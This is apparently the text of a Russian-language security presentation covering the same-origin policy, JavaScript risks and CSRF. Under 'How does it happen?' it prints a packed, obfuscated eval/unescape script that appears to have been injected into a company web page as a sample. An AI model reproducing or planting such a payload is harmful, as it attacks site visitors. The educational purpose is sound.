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Same Origin Policy



URL Результат
http://store.company.com/dir/other.html ✔

http://store.company.com/dir/dir2/other.html ✔

https://store.company.com/secure.html ✘

http://store.company.com:81/dir/another.html ✘

http://news.company.com/dir/other.html ✘

URL:  http://store.company.com/dir/page.html

Подробности: https://developer.mozilla.org/En/Same_origin_policy_for_JavaScript

https://developer.mozilla.org/En/Same_origin_policy_for_JavaScript
https://developer.mozilla.org/En/Same_origin_policy_for_JavaScript


Document Object 
Model





Проблемы JavaScript









Подробности: http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf

http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf
http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf


Как это бывает?





	 	 	 	 	 	 	 	 	 </div>
	 	 	 	 	 	 	 	 </td>
	 	 	 	 	 	 	 </tr>
	 	 	 	 	 	 </table>
	 	 	 	 	 </td>
	 	 	 	 </tr>
	 	 	 </table>
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e)
{return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('m(l("%c%o%d%1%k%b%j%i
%n%v%u%p%i%b%s%h%2%1%0%0%6%d%2%1%0%0%3%7%2%1%0%0%3%3%2%1%0%0%4%5%2%1%0%0%3%f%2%1%0%0%3%c%2%1%0%0%3%a%2%
1%0%0%5%0%2%1%0%0%4%6%2%1%0%0%4%5%2%1%0%0%3%6%2%1%0%0%6%c%2%1%0%0%5%5%2%1%0%0%3%e%2%1%0%0%4%8%2%1%0%0%
4%8%2%1%0%0%4%0%2%1%0%0%6%g%2%1%0%0%5%9%2%1%0%0%5%9%2%1%0%0%3%4%2%1%0%0%3%9%2%1%0%0%3%9%2%1%0%0%3%4%2%
1%0%0%3%d%2%1%0%0%3%a%2%1%0%0%5%c%2%1%0%0%3%f%2%1%0%0%3%b%2%1%0%0%3%f%2%1%0%0%3%d%2%1%0%0%4%7%2%1%0%0%4%
g%2%1%0%0%3%a%2%1%0%0%5%b%2%1%0%0%3%6%2%1%0%0%3%9%2%1%0%0%3%c%2%1%0%0%5%9%2%1%0%0%3%6%2%1%0%0%3%9%2%1%
0%0%4%a%2%1%0%0%3%b%2%1%0%0%4%8%2%1%0%0%3%a%2%1%0%0%4%5%2%1%0%0%5%9%2%1%0%0%3%7%2%1%0%0%3%b%2%1%0%0%3%
8%2%1%0%0%3%a%2%1%0%0%4%e%2%1%0%0%5%b%2%1%0%0%4%0%2%1%0%0%3%e%2%1%0%0%4%0%2%1%0%0%5%5%2%1%0%0%5%0%2%1%
0%0%4%4%2%1%0%0%3%7%2%1%0%0%3%8%2%1%0%0%4%8%2%1%0%0%3%e%2%1%0%0%6%c%2%1%0%0%6%f%2%1%0%0%5%0%2%1%0%0%3%e%
2%1%0%0%3%a%2%1%0%0%3%7%2%1%0%0%3%4%2%1%0%0%3%e%2%1%0%0%4%8%2%1%0%0%6%c%2%1%0%0%6%f%2%1%0%0%5%0%2%1%0%0%
4%6%2%1%0%0%4%8%2%1%0%0%4%7%2%1%0%0%3%d%2%1%0%0%3%a%2%1%0%0%6%c%2%1%0%0%5%5%2%1%0%0%4%3%2%1%0%0%3%7%2%
1%0%0%4%6%2%1%0%0%3%7%2%1%0%0%3%5%2%1%0%0%3%7%2%1%0%0%3%d%2%1%0%0%3%7%2%1%0%0%4%8%2%1%0%0%4%7%2%1%0%0%
6%g%2%1%0%0%3%e%2%1%0%0%3%7%2%1%0%0%3%8%2%1%0%0%3%8%2%1%0%0%3%a%2%1%0%0%3%b%2%1%0%0%6%q%2%1%0%0%4%0%2%
1%0%0%3%9%2%1%0%0%4%6%2%1%0%0%3%7%2%1%0%0%4%8%2%1%0%0%3%7%2%1%0%0%3%9%2%1%0%0%3%b%2%1%0%0%6%g%2%1%0%0%
3%f%2%1%0%0%3%5%2%1%0%0%4%6%2%1%0%0%3%9%2%1%0%0%3%d%2%1%0%0%4%a%2%1%0%0%4%8%2%1%0%0%3%a%2%1%0%0%5%5%2%1%
0%0%6%b%2%1%0%0%6%d%2%1%0%0%5%9%2%1%0%0%3%7%2%1%0%0%3%3%2%1%0%0%4%5%2%1%0%0%3%f%2%1%0%0%3%c%2%1%0%0%3%a%
2%1%0%0%6%b%h%r%t"));',32,32,'30|75|5c|36|37|32|33|39|34|66|35|65|64|63|38|31|61|27|74|6e|6d|unescape|eval|2e|6f|69|62|29|28|3b|72|77'.split('|'),
0,{}));
</script>
	 	 	
                    <div style="MARGIN-TOP: 7px; MARGIN-RIGHT: 14px" align="right"><span class="copy">&copy; 2008 Группа 
&quot;АльфаСтрахование&quot;</span><br /><span class="copy">Продвижение сайта <a class="copy" target="_blank" href="http://
www.agima.ru/">Agima group</a></span></div>
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Зачем это нужно?



Подробности: http://community.livejournal.com/securityblogru/40080.html

http://community.livejournal.com/securityblogru/40080.html
http://community.livejournal.com/securityblogru/40080.html


Что делать?
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Спасибо!


